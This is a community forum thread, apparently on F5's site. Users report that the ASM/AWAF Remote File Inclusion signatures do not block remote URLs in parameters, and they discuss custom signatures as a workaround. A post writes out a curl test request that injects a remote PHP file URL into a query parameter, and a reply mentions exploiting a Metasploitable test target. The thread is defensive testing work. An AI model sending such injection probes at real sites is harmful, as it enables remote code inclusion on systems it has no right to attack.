For more information regarding the security incident at F5, the actions we are taking to address it, and our ongoing efforts to protect our customers, click here.

Forum Discussion

Nikoolayy1's avatar
Jul 21, 2023
Solved

F5 ASM/AWAF Remote File Inclusion signatures do not block http:// or https:// in the form parameter

Hello,

 

I tested some pentesting attacks like "curl https://x.x.x.x/?niki=http://1.1.1.1/file.php -kv" and the RFI/RFE attack does not get blocked even with RFI signatures beeing enabled as mentioned in Article Detail (f5.com) or Mitigating Remote File Inclusion attacks with BIG-IP ASM (f5.com) 

 

I had to create a custom signature but why as it is a simple signature to block this traffic ?

 

The custom signature works, so that is good 😀

 

  • I tested this on other vendors and it is the same as the info I got is that there are no default signatures for this RFI attack as it will cause many issues an false positives, so you need to make a custom signature/irule to block this for the specific vunrable parameter.

     

    Outside of that for XC Distributed Cloud the Service policy rules seem the way to go for configuring something like signatures:

     

     

3 Replies

  • To my total astonishment I can reproduce this.

    All Remote File Include Signatures are enforced in this policy.

    And the ASM Request Log shows the malicious request just passes.

    I am afraid we are missing something fundamental here 🙂

     

  • Yes, maybe I am doing the test wrong, still another big issue is that Nginx App Protect also has the option for custom signatures (Configuration | NGINX Ingress Controller) but for now XC Distributed cloud does not and even with all signatures enabled and not in staging the RFI attack is not blocked on XC.

     

    As a test backend with metasploitable 3 you can exploit this vunrability as seen in your picture with the query "page" parameter.

     

     

     

  • I tested this on other vendors and it is the same as the info I got is that there are no default signatures for this RFI attack as it will cause many issues an false positives, so you need to make a custom signature/irule to block this for the specific vunrable parameter.

     

    Outside of that for XC Distributed Cloud the Service policy rules seem the way to go for configuring something like signatures: